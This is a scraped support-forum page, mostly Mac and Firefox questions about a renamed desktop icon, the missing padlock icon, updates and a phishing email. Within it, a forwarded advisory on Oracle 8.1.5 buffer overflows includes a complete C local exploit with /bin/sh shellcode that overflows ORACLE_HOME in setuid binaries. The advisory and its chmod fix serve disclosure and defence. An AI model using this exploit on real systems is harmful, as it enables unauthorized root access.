Is there a known security vulnerability where "Firefox" under desktop icon is changed to "\'/.;|" ?

I went to use Firefox this AM and noticed the changed Name under the Firefox icon. At first I thought it might have somehow was corrupted until looking at the symbols- \'/.;l -and thinking maybe there was something more to it.
I'm running Mac OS X and should be most current on both OS and Firefox versions.

Thanks to all for the replies. Fixing the icon name was never an issue. Understanding how it changed was. I buy into inadvertently striking keys but still can't figure out how the shift key combo character was created.
I tried recreating one in a text document using a legal notepad, which is the only possible culprit (sits next to my keyboard), with no success. I guess it was a real fluke.
Thanks again, I'm all set.

Similar Messages

The old status bar showed a lock icon when on a secure site - where is that lock icon in vers 4?

The status bar was along the bottom of the window. At the right end of that bar, a lock icon would appear when you are on a secure site, like banking or bill pay. With the status bar now gone, where do I see that lock icon?

The padlock is no longer a part of Firefox; it can give users a false sense that a site is secure by not supplying all of the information about a site. Familiarize yourself with the '''''Site Identity Button''''' in Firefox:
*https://support.mozilla.com/en-US/kb/Site+Identity+Button
*http://www.dria.org/wordpress/archives/2008/05/06/635/
You can install an add-on to show a padlock in the URL/Location/Address bar:
*https://addons.mozilla.org/en-US/firefox/addon/padlock-icon/
<br />
<br />
'''You need to update the following.''' The Plugin version(s) shown below was/were submitted with your question and is/are out of date. You should update to avoid known security issues with the version(s) you have installed. Click on "More system info..." to the right of your question to see what was included with your question.
*Shockwave Flash 10.2 r152
#'''''Check your plugin versions''''' on either of the following links':
#*http://www.mozilla.com/en-US/plugincheck/
#*https://www-trunk.stage.mozilla.com/en-US/plugincheck/
#*'''Note: plugin check page does not have information on all plugin versions'''
#*There are plugin specific testing links available from this page:
#**http://kb.mozillazine.org/Testing_plugins
#'''Update the [[Managing the Flash plugin|Flash]] plugin''' to the latest version.
#*See: https://support.mozilla.com/en-US/kb/Managing%20the%20Flash%20plugin#w_updating-flash

Is there a better way to get rid of desktop icons?

My project has two things left: 1. get rid of desktop icons during the script 2. Ensure that windows don't open during the script.
so for part one, I have the following:
do shell script "defaults write com.apple.finder CreateDesktop -bool " & false
the problem is I can't change the desktop background picture when I use the above script. Without it, I can but I have icons.
The second issue is how I set up a handler in the event that windows open during the script, blocking the desktop-image message. I want to close all windows and keep them closed during the script. Here is what I have so far, but it doesn't work:
on exists windows of processes where the visible is true
tell application "Finder"
set willey to get (windows where the (exists) is true) of processes where the visible is true
set the exists of willey to false
end tell
end exists
PowerBook G4 1.67 Ghz Mac OS X (10.4.6)

Even if you manage to change the static desktop picture, you're going to have to find a way to disable the dynamic desktop picture that many users will have activated. This "Change picture" feature is controlled by Dock.app, not Finder. If you quit or kill the Dock, the system automatically respawns it ad infinitum. The only way around that is to temporarily move or rename dock.app, which requires administrator privileges. I'm not particularly inclined to offer my password to prank apps, are you?
If I were you I'd take a look at Salling Clicker. I know that sounds crazy, but hear me out: In the Salling distro there is a neat freeware FBA called "SEC Helper" that lets you post Growl-like notices to the user, without the hassle of relying on a Growl install. It has a full-screen option that you can set up just like a slideshow.
click here to open this script in your editor<pre style="font-family: 'Monaco', 'Courier New', Courier, monospace; overflow:auto; color: #222; background: #DDD; padding: 0.2em; font-size: 10px; width:400px">tell application "SEC Helper"
"/Library/Desktop Pictures/Plants/Petals.jpg"
show screen picture data (read (POSIX file result as alias) as picture) with full screen
end tell</pre>

Where are my desktop icons going?

Everyone once in a while, usually after long battery use, my desktop icons disappear. The only way to get them back is to restart. Anyone experience this? I'm running 10.6.2 with all updates.

I get that sometimes when moving moving my MacBook from work (where I use an external display in addition to the built-in display) to home (built-in display only). I think Finder misses the display change event, and still thinks that I'm using both displays.
Relaunching Finder fixes it. Option-Control-Click on Finder in the Dock, and select Relaunch. Not perfect, but not as big as restarting the OS.

Here's a Lion-noob question... where are the desktop icons?

like the harddrive. the one that usually pops up in the upper right hand corner and says "Macintosh" along the bottom?

Click onto the Desktop, select Preferences from the Finder menu. Click on the General icon in the toolbar. Check the boxes for the items you want displayed. Click on the Sidebar icon in the toolbar and configure what is displayed in the sidebar.

Why does PayPal says my browser (4.01) has a known security flaw?

I received a message from PayPal that says:
"It looks like you may be using an outdated browser with known security issues.
Help keep your computer and your PayPal account protected by updating your browser today."
When I checked Mozilla, it says I'm using the most current browser. I don't want to login to secure website if there is a security problem with Firefox. I can't surf without Firefox! Please help!

This sounds like a fraudulent email and will not be from PayPal. PayPal never send emails telling you to download software.
This link from PayPal shows their advice concerning fake emails - https://www.paypal.com/cgi-bin/webscr?cmd=p/gen/email-security-outside

Security vulnerability in Oracle 8.1.5

The following email was forwarded to me about possible security vulnerabilities.
I am looking for verification from both Oracle and the user comunity.
================================================================================
[ Hackerslab bug_paper ] Linux ORACLE 8.1.5 vulnerability
================================================================================
File : Oracle 8.1.5
SYSTEM : LINUX
Tested by RedHat Linux 6.2
INFO :
There are two security vulnerability in Oracle.
1. buffer overflow
It is possible to create a buffer overflow vulnerability using "ORACLE_HOME",
one of the environmental value of Oracle.
Oracle applications that are vulnerable to buffer overflow are as follow :
- names
- namesctl
- onrsd
- osslogin
- tnslsnr
- tnsping
- trcasst
- trcroute
Thease applications allow an attacker to excute a buffer overflow exploit.
2. Log-files created
When a user excutes one of Oracle applications such as names, oracle or tnslsnr,
following log files are created.
names
======
-rw-rw-r-- 1 oracle dba 0 Oct 20 01:45 ckpcch.ora
-rw-rw-r-- 1 oracle dba 428 Oct 20 01:45 ckpreg.ora
-rw-rw-r-- 1 oracle dba 950 Oct 20 01:45 names.log
oracle
======
-rw-rw---- 1 oracle dba 616 Oct 20 05:14 ora_[running pid].trc
tnslsnr
=======
-rw-rw-r-- 1 oracle dba 2182176 Oct 20 2000 listener.log
SOLUTION
Contact your vendor for a patch or close setuid permission.
# su - oracle
$ cd /oracle_8.1.5_install_directory/bin
$ chmod a-s names namesctl onrsd osslogin tnslsnr tnsping trcasst trcroute
==-------------------------------------------------------------------------------==
* ** ** * [email protected] [yong-jun, kim]
* ** ** * [ [URL=http://www.hackerslab.org]http://www.hackerslab.org ]
******** HACKERSLAB (C) since 1999
==-------------------------------------------------------------------------------==
Oracle 8.1.5 exploit
-by loveyou
offset value : -500 ~ +500
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define NOP 0x90
#define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
char shellcode[] =
/* - K2 - */
/* main: */
"\xeb\x1d" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xde\xff\xff\xff" /* call start */
"/bin/sh";
unsigned long getesp(void)
__asm__("movl %esp,%eax");
int main(int argc, char *argv[])
char buff, ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset;
offset = 0 ;
if ( argc > 1 ) offset = atoi(argv[1]);
buff = malloc(bsize);
addr = getesp() - 5933 - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
printf("[ offset:%d buffer=%d ret:0x%x ]\n",
offset,strlen(buff),addr);
system(PATH);
null

Hi Peter,
I was told that Oracle8 and Oracle8i Parallel Server on IBM
RS/6000 AIX comes with its own Lock Manager and this LM does not
rely on the Cluster Lock Manager (cllockd) of HACMP for AIX, as
Oracle7 Parallel Server on normal (non-SP) RS/6000 does.
(Oracle7 Parallel Server on RS/6000 SP didn't use the cllockd of
HACMP but came with a special LM.)
Cluster-wide Filesystems are not used for OPS on Unix, as far as
I know Unix (AIX, Solaris). All Data-, Log- and Control-Files
must reside on concurrently (!) accessible Raw-Devices (e.g. Raw
Logical Volumes on AIX).
So I guess it should be possible for Oracle to port OPS to Linux.
No special Cluster-Services would be needed for OPS on Linux,
just a shared SCSI-bus (e.g.) and a fast interconnect (e.g.
100BaseT).
Peter Sechser (guest) wrote:
: Dave,
: Parallel Server needs some cluster services in order to
: communicate between several nodes. So, the operating system has
: to offer things like inter-node communication services,
: cluster-wide lock communication services and a clusterwide
: filesystem. I'm not quite sure, to what degree Linux
offers/will
: offer these services.
: Peter
null

I keep getting a popup window saying there is an important update for FireFox but when I click on "More information about this update" it doesn't show anything. It seems suspicious so I have not downloaded or installed it.

Any thoughts...?? Anyone have this issue and have an answer to it...???

There is a security update for Firefox (Firefox 10.0.2) which you should apply. Unfortunately, it looks as if the updater on your Firefox is messing up somehow.
The easiest way to work around this and get you secure is to go to [http://www.getfirefox.com www.getfirefox.com], and download the latest version of Firefox there. After it downloads, go ahead and run the installer over your current Firefox. None of your settings will be changed, but it will apply the security fix, and you will be all good to go!

Denied access to update security features of Firefox When i attempt to move update to apps it says i do not have permission..

There was a security message from Firefox that my firefox security was not protected. Idownloaded the program and attempted to move it to apps download but was denied permission.
I much prefer Firefox to Safari but am stumpted. Can any one help?
thanks mary

If you have problems with updating or with the permissions then easiest is to download the full version and trash the currently installed version to do a clean install of the new version.
Download a new copy of the Firefox program and save the DMG file to the desktop
* Firefox 4.0.x: http://www.mozilla.com/en-US/firefox/all.html
* Firefox 3.6.x: http://www.mozilla.com/en-US/firefox/all-older.html
* Trash the current Firefox application to do a clean (re-)install
* Install the new version that you have downloaded
Your profile data is stored elsewhere in the [http://kb.mozillazine.org/Profile_folder_-_Firefox Firefox Profile Folder], so you won't lose your bookmarks and other personal data.

Why there is not "security.enable_md5_signatures" option in some instllations of Firefox 28?

In some instllations of Firefox 28 there is not "security.enable_md5_signatures" option.
Where it is present, making it "true" not allow to be used md5 certificates like versions before 28.

Thank you very much for useful explanation.
Finally, from removing of "security.enable_md5_signatures" option, we must understand that MD5 certificates will not be supported from Firefox 28 and future versions, even option is set "true" in user set after updating the browser?
We are familiar that from Firefox 16 there is no longer supporting MD5 as a hash algorithm in digital signatures, but if "security.enable_md5_signatures" option is set "true", browser works with them. May be this was changed [https://bugzilla.mozilla.org/show_bug.cgi?id=795398 here] and MD5 support is stopped?

Where is the lock symbol that tells me I am on a secure page in Firefox 5.0

I just recently upgraded to Firefox 5.0. The old version had a little lock in the bottom right hand corner that signified that I was on a secure page (for banking, shopping checkout, etc). I do not know where to check on the page of this new version to be sure that I am on a secure page before entering the required checkout info.
Thanks for your help.

The padlock only shows that there is a secure connection and doesn't guarantee that you are connected to the right server. So you might still be connected to the wrong server if you make a typo in the URL and someone has claimed that mistyped URL. The functionality of the padlock has been replaced by the Site Identity Button on the left end of the location (address) bar.
https://support.mozilla.com/en-US/kb/Site+Identity+Button
http://www.mozilla.com/en-US/firefox/security/identity/
This has actually existed since Firefox 3.0
If you still want a padlock icon also then
https://addons.mozilla.org/en-US/firefox/addon/padlock-icon/

HT5228 I am running OS 10.5.8 on an iMac. There is no security update issued for this operating system - it only covers 10.6. Is my comuter vulnerable? Do I need to do anything?

I am running OS 10.5.8 on an iMac. There is no security update issued for this operating system - it only covers 10.6. Is my comuter vulnerable? Do I need to do anything?

I'm still not clear why Apple only issued security updates for 10.6 and later. I assume they think we should all update our operating systems or maybe they are just focusing on the majority of users?
Apple has had a long standing policy of only supporting the current and previous operating system releases. Whether they decide to make an exception for even older releases is anyone's guess.
You can send them feedback to express your opinion.
Or does the new Trojan not affect older OS? I'd like to know , if anyone has information.
As far as is known, it does affect older unsupported releases. Disabling Java in your web browser is the current preventive approach (and that is a community derived approach)

My Firefox crashes 2-3 times per session since I've updated to new version. I have never crashed before this latest version. Is there a known problem with this?

My Firefox crashes 2-3 times per session since I've updated to the latest version. This has NEVER happened with previous versions of Firefox. Is there a known problem with the latest version?

Hello luv2golf80, we're sorry to hear that Firefox is crashing. In order to assist you better, please follow the steps below to provide us crash ID's to help us learn more about your crash.
#Enter about:crashes in the address bar (that's where you enter your website URL) and press Enter. You should now see a list of submitted crash reports.
#Copy the 5 most recent crash ID's that you see in the crash report window and paste them into your response here.
Thank you for your help!
More information and further troubleshooting steps can be found in the [[Firefox crashes]] article.

I just upgraded to Firefox 5.0.1 and since the "lock" icon never appears when accessing secure websites, where should I look for it?

I just recently upgraded to Firefox 5.0.1 and now the "lock" icon doesn't appear anywhere (I can find) when accessing secure websites. I haven't seen it once. It used to appear in the lower right corner of the screen. I also have Norton Internet Security.

Padlock is no longer part of Firefox; it was removed beginning in Firefox 4. The padlock shows that there is a secure connection but does not supply additional information. You could have made a typographical error and still have been connected to a secure connection. The padlock was replaced in Firefox 3 with the Site Identity Button. Familiarize yourself with the Site Identity Button at the left end of the Location Bar:
*https://www.mozilla.com/en-US/firefox/security/identity/
*https://support.mozilla.com/en-US/kb/Site+Identity+Button
*http://www.dria.org/wordpress/archives/2008/05/06/635/
You can install this add-on if you wish: *https://addons.mozilla.org/en-US/firefox/addon/padlock-icon/
'''If this reply solves your problem, please click "Solved It" next to this reply when <u>signed-in</u> to the forum.'''
Not related to your question, but...
You need to update some plug-ins:
*Plug-in check: https://www-trunk.stage.mozilla.com/en-US/plugincheck/
*Adobe PDF Plug-In For Firefox and Netscape: [https://support.mozilla.com/en-US/kb/Using%20the%20Adobe%20Reader%20plugin%20with%20Firefox#w_installing-and-updating-adobe-reader Installing/Updating Adobe Reader in Firefox]
*Next Generation Java Plug-in for Mozilla browsers: [https://support.mozilla.com/en-US/kb/Using%20the%20Java%20plugin%20with%20Firefox#w_installing-or-updating-java Installing or Updating Java in Firefox]

We use an add-on in one of our online solutions and we've identified a security vulnerability. The issue has been addressed in our latest add-ons and we would like to know how we may blocklist our previous player through a firefox update?

We use an add-on in one of our online solutions and we've identified a security vulnerability. The issue has been addressed in our latest add-ons and we would like to know how we may blocklist our previous player through a firefox update?

You can file a bug report to do that request.
http://developer.mozilla.org/en/docs/Bug_writing_guidelines

Is there a known security vulnerability where "Firefox" under desktop icon is changed to "\'/.;|" ?

Similar Messages

Maybe you are looking for